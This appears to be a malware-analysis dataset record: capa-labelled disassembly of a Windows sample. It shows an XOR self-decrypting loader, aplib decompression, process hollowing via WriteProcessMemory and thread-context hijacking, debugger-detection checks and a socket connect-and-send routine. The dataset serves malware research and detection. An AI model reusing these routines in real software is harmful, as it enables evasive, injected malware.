joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff6e1e1156c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7ff6e1e11576
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x7ff6e1e1159f
pop rbp
sub rbp, 0x33
sub rbp, 0xf6156c
sub rsp, 0x20
jmp 0x7ff6e1e115be
mov rax, 0xf6156c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffd2491011
xor byte [rax], dl
inc rax
dec rcx
jne 0x7ff6e1e115dd
jmp 0x7ff6e1e115f4
mov rcx, rbp
mov ecx, dword [rcx + 0x3c]
add rcx, 0x108
add rcx, rbp
mov rax, 8
mov rdx, 0x28
mul rdx
add rcx, rax
mov eax, dword [rcx + 0xc]
add rax, rbp
push rax
push rax
movabs rax, 0x279384
movabs rcx, 0xce81e7
add rcx, rbp
movabs rdx, 0x577682c4
call fcn.7ff6e1e11651
jmp 0x7ff6e1e11667
pop rax
pop rdx
push rdx
push rax
movabs rax, 0x279384
movabs rcx, 0xce81e7
add rcx, rbp
call fcn.7ff6e1e1168c
jmp 0x7ff6e1e11919
pop rdi
pop rsi
jmp 0x7ff6e1e11924
mov rax, 0xf6156c
add rax, rbp
add rax, 0x3ea
mov rcx, 0x2a5
mov rdx, 0x762ed2e
xor byte [rax], dl
inc rax
dec rcx
jne 0x7ff6e1e11943
jmp 0x7ff6e1e1195a
push rsi
mov rsi, rdi
pop rdi
mov edi, dword [rsi + 0x3c]
mov edi, dword [rdi + rsi + 0xb0]
add rdi, rsi
mov eax, dword [rsi + 0x3c]
add rax, rsi
mov rax, qword [rax + 0x30]
mov rbx, rsi
sub rbx, rax
mov edx, dword [rdi]
mov ecx, dword [rdi + 4]
cmp edx, 0
je 0x7ff6e1e119e4
add rdx, rsi
add rdi, 8
sub rcx, 8
cmp ecx, 0
je 0x7ff6e1e1197f
mov ax, word [rdi]
shr eax, 0xc
and eax, 0xf
cmp eax, 0xa
jne 0x7ff6e1e119d2
mov ax, word [rdi]
and eax, 0xfff
add rax, rdx
add qword [rax], rbx
dec rcx
dec rcx
add rdi, 2
jmp 0x7ff6e1e119a2
jmp 0x7ff6e1e119ed
mov rax, 0xf6156c
add rax, rbp
add rax, 0x4b3
mov rcx, 0x1dc
mov rdx, 0x54cde24f
xor byte [rax], dl
inc rax
dec rcx
jne 0x7ff6e1e11a0c
jmp 0x7ff6e1e11a23
mov edi, dword [rsi + 0x3c]
mov edi, dword [rdi + rsi + 0x90]
add rdi, rsi
cmp dword [rdi + 0xc], 0
je 0x7ff6e1e11ad8
mov ecx, dword [rdi + 0xc]
add rcx, rsi
call qword [rbp + 0xc51f2c]
cmp eax, 0
jne 0x7ff6e1e11a5e
mov ecx, dword [rdi + 0xc]
add rcx, rsi
call qword [rbp + 0xc51f44]
cmp dword [rdi + 0xc], 0
je 0x7ff6e1e11ad8
cmp dword [rdi], 0
jne 0x7ff6e1e11a7c
cmp dword [rdi + 0x10], 0
je 0x7ff6e1e11acc
mov r13, rax
mov eax, dword [rdi + 0x10]
add rax, rsi
cmp dword [rax], 0
je 0x7ff6e1e11acc
mov r12, rax
mov rdx, qword [rax]
or edx, edx
jns 0x7ff6e1e11aa6
jmp 0x7ff6e1e11ab0
add rdx, rsi
add rdx, 2
mov rcx, r13
call qword [rbp + 0xc51f34]
mov qword [r12], rax
add r12, 8
mov rax, r12
jmp 0x7ff6e1e11a85
add rdi, 0x14
jmp 0x7ff6e1e11a30
add rsp, 0x20
mov r9, rsp
mov r8, 0xf61bfc
mov rdx, rbp
mov rcx, rsi
mov eax, dword [rsi + 0x3c]
mov eax, dword [rax + rsi + 0x28]
add rax, rsi
jmp rax

Function at 0x7ff6e1e11651
Capabilities:
Encode data using xor

Disassembly:
shr eax, 2
xor dword [rcx], edx
add rcx, 4
dec rax
jne 0x7ff6e1e11654
ret
Function at 0x7ff6e1e1170f
Capabilities:
Decompress data using aplib

Disassembly:
push rsi
push rdi
push rbp
push rdx
mov rdi, rdx
mov rsi, rcx
cld
mov dl, 0x80
mov al, byte [rsi]
add rsi, 1
mov byte [rdi], al
add rdi, 1
mov rbx, 2
add dl, dl
jne 0x7ff6e1e11744
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x7ff6e1e1171c
add dl, dl
jne 0x7ff6e1e11759
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x7ff6e1e117de
xor rax, rax
add dl, dl
jne 0x7ff6e1e11771
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x7ff6e1e118dd
add dl, dl
jne 0x7ff6e1e11786
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x7ff6e1e11798
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x7ff6e1e117aa
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x7ff6e1e117bc
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
je 0x7ff6e1e117cd
mov rbx, rdi
sub rbx, rax
mov al, byte [rbx]
mov byte [rdi], al
inc rdi
mov rbx, 2
jmp 0x7ff6e1e11735
mov rax, 1
add dl, dl
jne 0x7ff6e1e117f4
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rax, rax
add dl, dl
jne 0x7ff6e1e11806
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x7ff6e1e117e5
sub rax, rbx
mov rbx, 1
jne 0x7ff6e1e11859
mov rcx, 1
add dl, dl
jne 0x7ff6e1e11832
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rcx, rcx
add dl, dl
jne 0x7ff6e1e11844
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x7ff6e1e11823
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x7ff6e1e11735
dec rax
shl rax, 8
mov al, byte [rsi]
inc rsi
mov rbp, rax
mov rcx, 1
add dl, dl
jne 0x7ff6e1e1187e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc rcx, rcx
add dl, dl
jne 0x7ff6e1e11890
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x7ff6e1e1186f
cmp rax, 0x7d00
sbb rcx, 0xffffffffffffffff
cmp rax, 0x500
sbb rcx, 0xffffffffffffffff
cmp rax, 0x80
adc rcx, 0
cmp rax, 0x80
adc rcx, 0
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x7ff6e1e11735
mov al, byte [rsi]
inc rsi
xor rcx, rcx
shr al, 1
je 0x7ff6e1e1190e
adc rcx, 2
mov rbp, rax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov rbx, 1
jmp 0x7ff6e1e11735
pop rdx
sub rdi, rdx
mov rax, rdi
pop rbp
pop rdi
pop rsi
ret
Function at 0x140007100
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140007118
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000713a
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x140007470
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x320], rax
movsxd rbx, dword [rdx + 0x3c]
mov r15, rdx
add rbx, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rbx + 0x50]
mov edx, dword [rbx + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140007611
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rcx, qword [r14]
mov rdx, rax
mov qword [rsp + 0x330], r13
xor r13d, r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140007634
mov qword [rsp + 0x380], rsi
mov qword [rsp + 0x338], rdi
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x140007550
mov esi, r13d
movzx eax, word [rbx + 0x14]
mov rcx, qword [r14]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r15
mov r9d, dword [rax + rbx + 0x28]
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000767a
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140007511
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call fcn.14002c910
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140007657
mov edx, dword [rsp + 0xf4]
lea r8, [rbx + 0x34]
mov rcx, qword [r14]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000769d
mov ecx, dword [rbx + 0x28]
lea rdx, [rsp + 0x50]
add ecx, ebp
mov dword [rsp + 0x100], ecx
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1400076c0
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rdi, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x380]
mov r13, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140010730
add rsp, 0x340
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
lea rdx, str.Error_when_trying_to_allocate_memory_for_the_new_image
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
lea rdx, str.Error_when_trying_to_write_the_headers_of_the_new_image
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
lea rdx, str.Error_when_trying_to_get_the_thread_context
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
lea rdx, str.Error_when_trying_to_write_the_section
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
lea rdx, str.Error_when_trying_to_write_the_image_base_in_the_PEB
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
lea rdx, str.Error_when_trying_to_set_the_thread_context
lea rcx, [rsp + 0x30]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.140012798
int3
Function at 0x140009ed0
Capabilities:
Check for debugger via api

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x90
mov qword [rax - 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor edi, edi
mov dword [rsp + 0x20], edi
call fcn.14000d4d0
test al, al
je 0x14000a083
call fcn.14000d770
test al, al
je 0x14000a083
call fcn.140002500
test al, al
jne 0x14000a083
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000a083
mov dword [rsp + 0x58], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x58], 1
je 0x14000a083
lea rbx, [0x140043d80]
lea rsi, str.Setup.exe
nop dword [rax]
mov rax, qword [rbx]
call rax
test al, al
jne 0x14000a083
add rbx, 8
cmp rbx, rsi
jne 0x140009f70
mov rbx, qword [0x140045f18]
mov rsi, qword [0x140045f20]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x58], rbx
cmp rbx, rsi
je 0x14000a083
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14000df40
nop
mov rcx, qword [rsp + 0x60]
call fcn.1400081d0
lea r8, [rbx + 0x40]
lea rdx, str.exec
lea rcx, [rsp + 0x30]
call fcn.14000e8e0
or edi, 1
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000e2b0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000a032
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a02c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a0a8
call fcn.140010aa4
nop
jmp 0x14000a042
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000a07a
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a075
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a0ae
call fcn.140010aa4
add rbx, 0x60
jmp 0x140009f99
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140010730
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140016a70
nop
call fcn.140016a70
int3
Function at 0x14000ad40
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x14000ad64
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x14000adf2
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000adc0
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x14000adc0
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.14002c270
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000addd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000ade5
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x14000ad81
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x14000aed0
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ae09
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000ae0b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000ae3d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.14002c270
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000aecd
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000ae78
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x14000aeae
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.1400185c4
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14000aecd
cmp rsi, rax
ja 0x14000ae81
test rsi, rsi
je 0x14000aecd
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400185c4
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x14000e2b0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rsi, rdx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000e489
xor eax, eax
mov dword [rsp + 0x48], 1
cmp qword [rbx + 0x38], 0xf
lea rdx, [rbx + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x38], rax
xorps xmm1, xmm1
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x4c], 6
movdqu xmmword [rsp + 0x60], xmm1
jbe 0x14000e32e
mov rdx, qword [rdx]
cmp qword [rbx + 0x18], 0xf
jbe 0x14000e338
mov rbx, qword [rbx]
lea r9, [rsp + 0x38]
mov rcx, rbx
lea r8, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x14000e4ac
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x250], rdi
mov rdi, 0xffffffffffffffff
test rbx, rbx
je 0x14000e3c0
nop dword [rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000e4d5
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000e3bb
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
je 0x14000e455
jmp 0x14000e370
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
je 0x14000e460
cmp qword [rsi + 0x18], 0xf
mov r8d, dword [rsi + 0x10]
jbe 0x14000e3e1
mov rsi, qword [rsi]
xor r9d, r9d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, 0xffffffff
je 0x14000e426
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [rsp + 0x250]
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140010730
add rsp, 0x220
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.send_failed
lea rcx, [rsp + 0x20]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.140012798
int3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Unable_to_connect_to_server
lea rcx, [rsp + 0x20]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.140012798
int3
lea rdx, str.WSAStartup_failed
lea rcx, [rsp + 0x20]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.140012798
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.getaddrinfo_failed
lea rcx, [rsp + 0x20]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.140012798
int3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Error_at_socket__
lea rcx, [rsp + 0x20]
call fcn.140006fd0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.140012798
int3
Function at 0x14000ec08
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000ec42
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000ec47
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000ec90
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14002f700]
cmp byte [rcx + rax], 0
je 0x14000ec90
dec r8
sub rdx, 1
jne 0x14000ec76
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140011168
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400111b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400111b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400111b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400111b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400111b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400111b4
xor al, al
add rsp, 0x28
ret

Function at 0x140017698
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400176cf
call fcn.140019908
mov dword [rax], socket
call fcn.140016a50
xor eax, eax
jmp 0x14001775d
mov rdx, r9
mov rcx, r8
call fcn.140017634
mov rbx, rax
test rax, rax
je 0x14001775a
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140017560]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140017747
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001987c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14001772e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14001773d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14001e33c
jmp 0x14001775a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140017757
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14001aa98
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001ab07
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ab07
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ab07
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ab07
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ab07
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ab07
cmp dword [rcx + 0xf8], 0
je 0x14001ab07
mov ecx, ebx
call fcn.14001abb8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001a994
nop
cmp dword [rbp + 0x20], 0
je 0x14001ab55
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001ab60
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001aa98

Function at 0x14001ac9c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001aa98

Function at 0x14001e678
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001e68e
mov al, 1
jmp 0x14001e6ee
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001e69f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001e6ec
mov ecx, dword [rcx + 0x18]
nop
call fcn.140025db8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001e6ec
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001e6ec
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001e6ec
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001e6ee
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140020f04
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140010bf0
sub rsp, rax
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001e558
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140020f53
mov rax, rbp
jmp 0x14002105b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x45720]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140021e50
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x45720]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140021057
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021057
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140021e50
test rax, rax
js 0x140021057
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140021057
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140021049
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140021049
cmp byte [rcx], 0xd
jne 0x14002102f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002103e
cmp byte [rcx + 1], 0xa
jne 0x14002103e
inc rcx
jmp 0x14002103e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x43560]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140021011
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002105b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140010730
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret